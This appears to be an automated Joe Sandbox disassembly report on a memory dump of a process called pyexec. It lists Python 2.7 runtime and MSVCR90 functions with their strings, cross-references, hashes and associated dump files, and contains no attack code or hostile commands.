Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c$8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$list index out of range
API String ID: 376477240-2754820500
Opcode ID: 2b3b65e2e742b8d4805c35e2c65266c7daa8b4acdfb65fd034a27a2a21bbecdc
Instruction ID: b88079373b42c3489bc6fc477e62ce5bfa27b6cd6849f2282e28d0ddc98d6cf1
Opcode Fuzzy Hash: 2b3b65e2e742b8d4805c35e2c65266c7daa8b4acdfb65fd034a27a2a21bbecdc
Instruction Fuzzy Hash: 3301F7F4B102089BDB10DE69DC55B1573A8E705318F44469AFC2CC7B41E633D5728B82

Function 6C1C5EE0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 39COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Python\getargs.c,0000078E,?,6C0B1E1D,Random(),?), ref: 6C1C5F14

Strings

%s:%d: bad argument to internal function, xrefs: 6C1C5F0E
%s does not take keyword arguments, xrefs: 6C1C5F39
(}.l, xrefs: 6C1C5EF6
..\Python\getargs.c, xrefs: 6C1C5F09

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s does not take keyword arguments$%s:%d: bad argument to internal function$(}.l$..\Python\getargs.c
API String ID: 376477240-3859836246
Opcode ID: c1baf825ee8b0d3a1e8662f3a6aa24334a4ef9ecb8bf94487fd1dab5883dc78e
Instruction ID: 4e9bb808c27975bc958443f8ae70dc2675414d06b8d593de4212b4abbb4bdc95
Opcode Fuzzy Hash: c1baf825ee8b0d3a1e8662f3a6aa24334a4ef9ecb8bf94487fd1dab5883dc78e
Instruction Fuzzy Hash: 20F0B4B5B0420C2BD700D9A4AD46A667398872535DF008A98BC2CC7B81FA2AE92096C2

Function 6C15B050 Relevance: 12.3, APIs: 8, Instructions: 278COMMON

Download Yara Rule

APIs

PyObject_RichCompare.PYTHON27(00000000,?,00000000,?,?,?,?,00000000), ref: 6C15B087
PyObject_RichCompare.PYTHON27(00000000,?,00000000,?,?,00000000), ref: 6C15B11B
PyObject_IsTrue.PYTHON27(00000000,?,?,?,?,?,00000000), ref: 6C15B147

Part of subcall function 6C15A940: Py_FatalError.PYTHON27(GC object already tracked), ref: 6C15A996
Part of subcall function 6C15A940: PyObject_Call.PYTHON27(?,00000000,00000000), ref: 6C15A9D6
Part of subcall function 6C15A940: PyErr_Format.PYTHON27(6C2E48B0,comparison function must return int, not %.200s,?), ref: 6C15AA11

PyObject_RichCompare.PYTHON27(00000000,?,00000000,?,?,00000000), ref: 6C15B1F1
PyObject_RichCompare.PYTHON27(00000000,?,00000000,?,?,00000000), ref: 6C15B2B1
PyObject_IsTrue.PYTHON27(00000000,?,?,?,?,?,00000000), ref: 6C15B2E0

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Object_$CompareRich$True$CallErr_ErrorFatalFormat
String ID:
API String ID: 3578634454-0
Opcode ID: c9962c300dbb34182d0337a2792ffd70c7f8cd24df3ccf899106fa53796e9461
Instruction ID: 7b3b61b16ce1311b6e6d661c56662786f9b02dcdfb4ca8504bf849cf4934bbbd
Opcode Fuzzy Hash: c9962c300dbb34182d0337a2792ffd70c7f8cd24df3ccf899106fa53796e9461
Instruction Fuzzy Hash: 2F91D4F5A04209DBCB00CEA9D9C1B8E77B4AF15368F548265EC34DBB44E734ED618B91

Function 6C0A8F50 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Py_InitModule4.PYTHON27(_heapq,6C30C8E8,Heap queue algorithm (a.k.a. priority queue).Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of ,00000000,000003F5), ref: 6C0A8F67
PyString_FromString.PYTHON27(Heap queues[explanation by Franois Pinard]Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of ), ref: 6C0A8F7A
PyModule_AddObject.PYTHON27(00000000,__about__,00000000,Heap queues[explanation by Franois Pinard]Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of ), ref: 6C0A8F86

Part of subcall function 6C1CEC70: PyType_IsSubtype.PYTHON27(?,?,?,?,6C0A57F9,00000000,deque,6C30FF60), ref: 6C1CEC87
Part of subcall function 6C1CEC70: PyErr_SetString.PYTHON27(6C2E48B0,PyModule_AddObject() needs module as first arg,deque,6C30FF60), ref: 6C1CEC9E

Strings

Heap queues[explanation by Franois Pinard]Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of , xrefs: 6C0A8F75
__about__, xrefs: 6C0A8F80
_heapq, xrefs: 6C0A8F62
Heap queue algorithm (a.k.a. priority queue).Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of , xrefs: 6C0A8F58

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$Err_FromInitModule4Module_ObjectString_SubtypeType_
String ID: Heap queue algorithm (a.k.a. priority queue).Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of $Heap queues[explanation by Franois Pinard]Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of $__about__$_heapq
API String ID: 2338541038-978301229
Opcode ID: 7aacf3a52e01808ede9b894c18f7bc69bfdd3260801b4e461574eadfd2ea03fe
Instruction ID: 0a8eb8cb3be042eb593bbb9b0fdc5088766d072c196707c1a4cdf15be0921d98
Opcode Fuzzy Hash: 7aacf3a52e01808ede9b894c18f7bc69bfdd3260801b4e461574eadfd2ea03fe
Instruction Fuzzy Hash: BAD0A923EC2A2133D12030A83C0AFFA00488B20E5CF090DA0F804B9FC6E60C0A2148FF

Function 6C0A9C60 Relevance: 12.1, APIs: 8, Instructions: 140COMMON

Download Yara Rule

APIs

PyDict_GetItem.PYTHON27(?,?), ref: 6C0A9C6F
PyDict_New.PYTHON27 ref: 6C0A9C7F

Part of subcall function 6C144510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,6C1650C0,?,00000014,?,6C1CDEB4), ref: 6C144529

Py_BuildValue.PYTHON27(6C1EBAA8,?,00000000), ref: 6C0A9C9B
PyDict_SetItem.PYTHON27(?,?,00000000), ref: 6C0A9CB2
PyInt_FromLong.PYTHON27(?), ref: 6C0A9D22
PyErr_Clear.PYTHON27 ref: 6C0A9D30
PyDict_GetItem.PYTHON27(?,00000000), ref: 6C0A9D42
PyDict_SetItem.PYTHON27(?,00000000,?), ref: 6C0A9D91

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_$Item$From$BuildClearErr_Int_LongStringString_Value
String ID:
API String ID: 232765214-0
Opcode ID: e26c85dabfcb5f3f63dbc109cfca4be835e5985e2f078abad903c3329880aa01
Instruction ID: a422f3cf8d389ee12eeefa1695a17cdad0a3fb7d0d3a7ce251e67ad297489a41
Opcode Fuzzy Hash: e26c85dabfcb5f3f63dbc109cfca4be835e5985e2f078abad903c3329880aa01
Instruction Fuzzy Hash: 6D41A175A01500ABCB04DFE8DC81AAA77F9AF44338B144798EC2987782E736ED56C7D1

Function 6C1405B0 Relevance: 12.1, APIs: 8, Instructions: 118COMMON

Download Yara Rule

APIs

_errno.MSVCR90 ref: 6C140629
_hypot.MSVCR90 ref: 6C140656
_CIpow.MSVCR90 ref: 6C140666
_CIatan2.MSVCR90 ref: 6C140675
_CIexp.MSVCR90 ref: 6C140697
_CIlog.MSVCR90 ref: 6C1406A8
_CIcos.MSVCR90 ref: 6C1406BE
_CIsin.MSVCR90 ref: 6C1406D0

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Iatan2IcosIexpIlogIpowIsin_errno_hypot
String ID:
API String ID: 482299394-0
Opcode ID: 0a403900a1b011b94cddc43b9d3a44daee2bfdc82c81c3d6bfa94edcc0fce2df
Instruction ID: 211a4c046b40d3e9000f48a1cb4160699413a8431e5bcdd0fd1b33899070fadd
Opcode Fuzzy Hash: 0a403900a1b011b94cddc43b9d3a44daee2bfdc82c81c3d6bfa94edcc0fce2df
Instruction Fuzzy Hash: 2931CA71E04905E2CB027F15E5457C93FB4EF8A3A4F124AC5E9C6716E4EB36883587C9

Function 6C0B1000 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

_isnan.MSVCR90 ref: 6C0B1019
_errno.MSVCR90 ref: 6C0B103E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: _errno_isnan
String ID:
API String ID: 68835812-0
Opcode ID: f929722d8eeb93c0fd61426f61085f7b2cfe9bcb1e60b300e0409a78def78b76
Instruction ID: 4aba2870f3d2a3385ceda47a8a9564c21331da62c0f93b2dd072bdf0992a0a5f
Opcode Fuzzy Hash: f929722d8eeb93c0fd61426f61085f7b2cfe9bcb1e60b300e0409a78def78b76
Instruction Fuzzy Hash: E9310CA2E1050862CF023E64F9093D93FF4EB06291F210BC5DC85B16A4FE7388689BC5

Function 6C0B1120 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

_isnan.MSVCR90 ref: 6C0B1141
_finite.MSVCR90 ref: 6C0B1157
_isnan.MSVCR90 ref: 6C0B116D
_CIlog.MSVCR90 ref: 6C0B11A8
_CIsqrt.MSVCR90 ref: 6C0B11CD
_CIlog.MSVCR90 ref: 6C0B11E0
_copysign.MSVCR90 ref: 6C0B121F

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Ilog_isnan$Isqrt_copysign_finite
String ID:
API String ID: 3182319696-0
Opcode ID: 6ea2d82151de3cf6837fd083f077a6b05c0f9e9b1e541afd6c46bcf1c6cf6660
Instruction ID: 6776d58ad9594616de5614fec2e452691cfc9d7938e21504f6b375aee90f67bc
Opcode Fuzzy Hash: 6ea2d82151de3cf6837fd083f077a6b05c0f9e9b1e541afd6c46bcf1c6cf6660
Instruction Fuzzy Hash: 9A21BFA190491DA2DB007F68F9192D97FB4EF4B386F500A94ECC9A0594FF32857886CA

Function 6C189990 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E5DE0,\N escapes not supported (can't load unicodedata module),?,?,?,?,?,?,?,6C0A2232,?), ref: 6C189DAA

Strings

2"l, xrefs: 6C189E33, 6C189D7D, 6C189D01, 6C189DE2, 6C189D8F, 6C189DF4, 6C189E42
unicodeescape, xrefs: 6C189CF9
unicodedata.ucnhash_CAPI, xrefs: 6C189BF2
\N escapes not supported (can't load unicodedata module), xrefs: 6C189DA4

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String
String ID: 2"l$\N escapes not supported (can't load unicodedata module)$unicodedata.ucnhash_CAPI$unicodeescape
API String ID: 1450464846-4096307100
Opcode ID: b043c7e1482af89ff4e891796946ba0f5ec27406400f1c743f74506536d8a813
Instruction ID: bc859e25e006d4bcc8565dba3890ff874b7451f5842a34cb3ee61c6a109273dd
Opcode Fuzzy Hash: b043c7e1482af89ff4e891796946ba0f5ec27406400f1c743f74506536d8a813
Instruction Fuzzy Hash: 7EE1477190A2468BDB00CFA8C8A07EDBBB5EF45325F258759D8559BB80E738D902CF90

Function 6C153DD0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

frexp.MSVCR90 ref: 6C153E1D
ldexp.MSVCR90 ref: 6C153E6E
PyErr_SetString.PYTHON27(6C2E63F8,float too large to pack with d format), ref: 6C153FA7
PyErr_SetString.PYTHON27(6C2E65C8,frexp() result out of range), ref: 6C153FC8

Strings

float too large to pack with d format, xrefs: 6C153FA1
frexp() result out of range, xrefs: 6C153FC0

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$frexpldexp
String ID: float too large to pack with d format$frexp() result out of range
API String ID: 210449120-471396154
Opcode ID: a1fbf94b84780276b9e00165413c40cded3592e1961b43586cdc72e49c9f8724
Instruction ID: b2f0e2a62fe344be4cc9eb5614c71d7895df329372980437f6f2247a7576f15b
Opcode Fuzzy Hash: a1fbf94b84780276b9e00165413c40cded3592e1961b43586cdc72e49c9f8724
Instruction Fuzzy Hash: A3713972B0A24296CB114F28D88438A7FF0DF92354F940AADFCD5D3791E636C466C796

Function 6C1887C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 213COMMON

Download Yara Rule

APIs

PyErr_NoMemory.PYTHON27(?,00000000,00000000), ref: 6C1887EC

Part of subcall function 6C1C0380: PyErr_GivenExceptionMatches.PYTHON27(00000000,6C2E67A8,?,6C177E82,00000000,6C12B1D5,?,?,?,6C12F66F,00000000,?,00000000,6C12F785,00000000), ref: 6C1C0396
Part of subcall function 6C1C0380: PyErr_SetObject.PYTHON27(6C2E67A8,?), ref: 6C1C03B3

PyObject_Malloc.PYTHON27(00000015,?,?,?,00000000,00000000), ref: 6C188807
PyString_InternInPlace.PYTHON27(00000000,?,00000000,00000000), ref: 6C188839

Strings

h-l, xrefs: 6C188818

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$ExceptionGivenInternMallocMatchesMemoryObjectObject_PlaceString_
String ID: h-l
API String ID: 349208754-324548745
Opcode ID: 86b382227b2b2c6325d741b3c233b29cb48089b872ab8c55eac51c9fc5bef61a
Instruction ID: 8e90bb5ab1738c0c7308629d74983da68851089771617f18c18443d1a61dd08b
Opcode Fuzzy Hash: 86b382227b2b2c6325d741b3c233b29cb48089b872ab8c55eac51c9fc5bef61a
Instruction Fuzzy Hash: 84612535D0F2558FFB109E59C4403EABBA1EB91318F9482AFDCE58BA41D3748196CB92

Function 6C15A610 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

PyObject_GetIter.PYTHON27(?,-00000010,00000000), ref: 6C15A644

Part of subcall function 6C12FF00: PySequence_Check.PYTHON27(?), ref: 6C12FF18
Part of subcall function 6C12FF00: PySeqIter_New.PYTHON27(?), ref: 6C12FF25

_PyObject_LengthHint.PYTHON27(?,00000008), ref: 6C15A663

Part of subcall function 6C12B130: PyObject_Size.PYTHON27(?), ref: 6C12B13C
Part of subcall function 6C12B130: PyErr_GivenExceptionMatches.PYTHON27(?,6C2E48B0), ref: 6C12B160
Part of subcall function 6C12B130: PyErr_GivenExceptionMatches.PYTHON27(?,6C2E55C0), ref: 6C12B17D

PyErr_GivenExceptionMatches.PYTHON27(?,6C2E4978), ref: 6C15A71D
PyErr_Clear.PYTHON27 ref: 6C15A729
PySequence_Fast.PYTHON27(?,argument must be iterable,-00000010,00000000), ref: 6C15A764

Strings

argument must be iterable, xrefs: 6C15A75E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$ExceptionGivenMatchesObject_$Sequence_$CheckClearFastHintIterIter_LengthSize
String ID: argument must be iterable
API String ID: 3611713048-1209305317
Opcode ID: 0b3dcc83c6da98a08cd90ffb2d55e9c2b6b3ce10cc7e2fe73287cca3ade03575
Instruction ID: ea17d8368cbe570a4cada6023f823611d2011bd0098d3eddcecbfe2be7454de5
Opcode Fuzzy Hash: 0b3dcc83c6da98a08cd90ffb2d55e9c2b6b3ce10cc7e2fe73287cca3ade03575
Instruction Fuzzy Hash: F351C6B5A806028FC700DF24D88096AB3B4BF55328B544769ED3487B91E735EC66CBE2

Function 6C145CA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

PyList_New.PYTHON27(?), ref: 6C145CB7

Part of subcall function 6C1593A0: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,0000007E,?,?,?,?,?,6C145BB1,?,?,?,?,6C1467DF,?), ref: 6C1593C3

_PyObject_GC_Malloc.PYTHON27(0000000F), ref: 6C145D16
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C145D5A
PyList_New.PYTHON27(?), ref: 6C145DC3

Strings

P&0l, xrefs: 6C145D73, 6C145D7B, 6C145D83
GC object already tracked, xrefs: 6C145D55

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: List_$Err_ErrorFatalFormatMallocObject_
String ID: GC object already tracked$P&0l
API String ID: 2451881301-2850754575
Opcode ID: 04edd554227262d0dee6777957de3d68fa1ec203534c74990bc558028dafa414
Instruction ID: 96c1a9dcdeb194aebabfcdd5ba799648b2030bb06db1d7d2e84e4a6c4dc1bc48
Opcode Fuzzy Hash: 04edd554227262d0dee6777957de3d68fa1ec203534c74990bc558028dafa414
Instruction Fuzzy Hash: 4E51BAB6A047068FC700CF28D884946B7B4FF85324B24C769D8299BB41D731E85ACBD1

Function 6C1665D0 Relevance: 10.6, APIs: 7, Instructions: 132COMMON

Download Yara Rule

APIs

_finite.MSVCR90 ref: 6C1665EA
_finite.MSVCR90 ref: 6C1665FC
_isnan.MSVCR90 ref: 6C16660E
modf.MSVCR90 ref: 6C16664E
PyLong_FromDouble.PYTHON27 ref: 6C16669D

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
